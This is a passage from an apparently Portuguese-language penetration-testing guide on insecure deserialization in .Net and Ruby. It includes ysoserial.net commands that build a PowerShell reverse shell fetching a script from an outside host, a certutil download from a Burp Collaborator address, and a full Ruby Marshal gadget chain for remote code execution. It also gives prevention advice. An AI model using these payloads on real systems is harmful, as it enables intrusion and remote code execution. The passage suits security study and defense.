serão infectados**. Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade. A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro do aplicativo vulnerável. ### Referências * Palestra sobre JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) * Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net O .Net é semelhante ao Java em relação a como os exploits de desserialização funcionam: o **exploit** irá **abusar de gadgets** que **executam** algum **código interessante quando** um objeto é **desserializado**. ### Identificação #### WhiteBox Procure no código-fonte pelos seguintes termos: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` Procure por qualquer serializador em que o tipo seja definido por uma variável controlada pelo usuário. #### BlackBox Você pode procurar pela string codificada em Base64 **AAEAAAD/////** ou qualquer outra coisa que **possa ser desserializada** no back-end e que permita controlar o tipo desserializado. Por exemplo, um **JSON** ou **XML** contendo `TypeObject` ou `$type`. ### ysoserial.net Nesse caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Depois de baixar o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo. Se você quiser aprender sobre **como o ysoserial.net cria seus exploits**, você pode [**verificar esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* e **`--plugin`.** * **`--gadget`** usado para indicar o gadget a ser abusado (indique a classe/função que será abusada durante a desserialização para executar comandos). * **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar a carga útil e usar a mesma para serializá-la) * \*\*`--output` \*\* usado para indicar se você deseja o exploit em **raw** ou codificado em **base64**. _Observe que o **ysoserial.net** irá **codificar** a carga útil usando **UTF-16LE** (codificação usada por padrão no Windows), portanto, se você obter o raw e apenas codificá-lo a partir de um console linux, poderá ter alguns problemas de **compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga útil funcionou em UTF-16LE e ASCII, mas isso não significa que sempre funcionará)._ * \*\*`--plugin` \*\* o ysoserial ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 #Timing #I tried using ping and timeout but there wasn't any difference in the response timing from the web server #DNS/HTTP request ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64 #Reverse shell #Create shell command in linux echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0 #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` O **ysoserial.net** também tem um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`. Se você indicar esse parâmetro, o **ysoserial.net** tentará o **exploit localmente**, para que você possa testar se sua carga útil funcionará corretamente. Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { try { SerializersHelper.JsonNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } ``` Isso significa que, para testar a exploração, o código chamará [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539). ```java public static object JsonNet_deserialize(string str) { Object obj = JsonConvert.DeserializeObject(str, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); return obj; } ``` No código anterior é vulnerável ao exploit criado. Portanto, se você encontrar algo semelhante em um aplicativo .Net, isso significa que provavelmente esse aplicativo também é vulnerável.\ Portanto, o parâmetro **`--test`** nos permite entender **quais trechos de código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar. ### ViewState Dê uma olhada neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net** para **executar código arbitrário**. Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** ### **Prevenção** Não permita que o fluxo de dados defina o tipo de objeto para o qual o fluxo será desserializado. Você pode evitar isso, por exemplo, usando o `DataContractSerializer` ou `XmlSerializer`, se possível. Onde o `JSON.Net` está sendo usado, certifique-se de que o `TypeNameHandling` esteja definido apenas como `None`. ``` TypeNameHandling = TypeNameHandling.None ``` Se for usar o `JavaScriptSerializer`, não use-o com um `JavaScriptTypeResolver`. Se você precisar desserializar fluxos de dados que definem seu próprio tipo, restrinja os tipos que são permitidos ser desserializados. Deve-se estar ciente de que isso ainda é arriscado, pois muitos tipos nativos do .Net são potencialmente perigosos em si mesmos. Por exemplo: ``` System.IO.FileInfo ``` Objetos `FileInfo` que referenciam arquivos que estão realmente no servidor podem, quando desserializados, alterar as propriedades desses arquivos, como torná-los somente leitura, criando um potencial ataque de negação de serviço. Mesmo que você tenha limitado os tipos que podem ser desserializados, lembre-se de que alguns tipos têm propriedades arriscadas. `System.ComponentModel.DataAnnotations.ValidationException`, por exemplo, tem uma propriedade `Value` do tipo `Object`. Se este tipo for permitido para desserialização, um invasor pode definir a propriedade `Value` para qualquer tipo de objeto que escolher. Os invasores devem ser impedidos de direcionar o tipo que será instanciado. Se isso for possível, até mesmo `DataContractSerializer` ou `XmlSerializer` podem ser subvertidos, por exemplo. ``` // Action below is dangerous if the attacker can change the data in the database var typename = GetTransactionTypeFromDatabase(); var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms); ``` A execução pode ocorrer dentro de certos tipos .Net durante a desserialização. Criar um controle como o mostrado abaixo é ineficaz. ``` var suspectObject = myBinaryFormatter.Deserialize(untrustedData); //Check below is too late! Execution may have already occurred. if (suspectObject is SomeDangerousObjectType) { //generate warnings and dispose of suspectObject } ``` Para `BinaryFormatter` e `JSON.Net`, é possível criar uma forma mais segura de controle de lista branca usando um `SerializationBinder` personalizado. Tente se manter atualizado sobre os gadgets de deserialização inseguros conhecidos do .Net e preste atenção especial onde tais tipos podem ser criados pelos seus processos de deserialização. **Um desserializador só pode instanciar tipos que ele conhece**. Tente manter qualquer código que possa criar gadgets potenciais separado de qualquer código que tenha conectividade com a internet. Como exemplo, `System.Windows.Data.ObjectDataProvider` usado em aplicativos WPF é um gadget conhecido que permite a invocação arbitrária de métodos. Seria arriscado ter uma referência a este assembly em um projeto de serviço REST que desserializa dados não confiáveis. ### **Referências** * Java e .Net JSON deserialização **artigo:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** Ruby tem dois métodos para implementar serialização dentro da biblioteca **marshal**: o primeiro método é **dump** que converte o objeto em fluxos de bytes **(serializar)**. E o segundo método é **load** para converter o fluxo de bytes em objeto novamente (**desserializar**).\ Ruby usa HMAC para assinar o objeto serializado e salva a chave em um dos seguintes arquivos: * config/environment.rb * config/initializers/secret\_token.rb * config/secrets.yml * /proc/self/environ Cadeia de gadgets de deserialização genérica do Ruby 2.X para RCE (mais informações em [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)): ```ruby #!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2" puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` Outra cadeia de RCE para explorar o Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).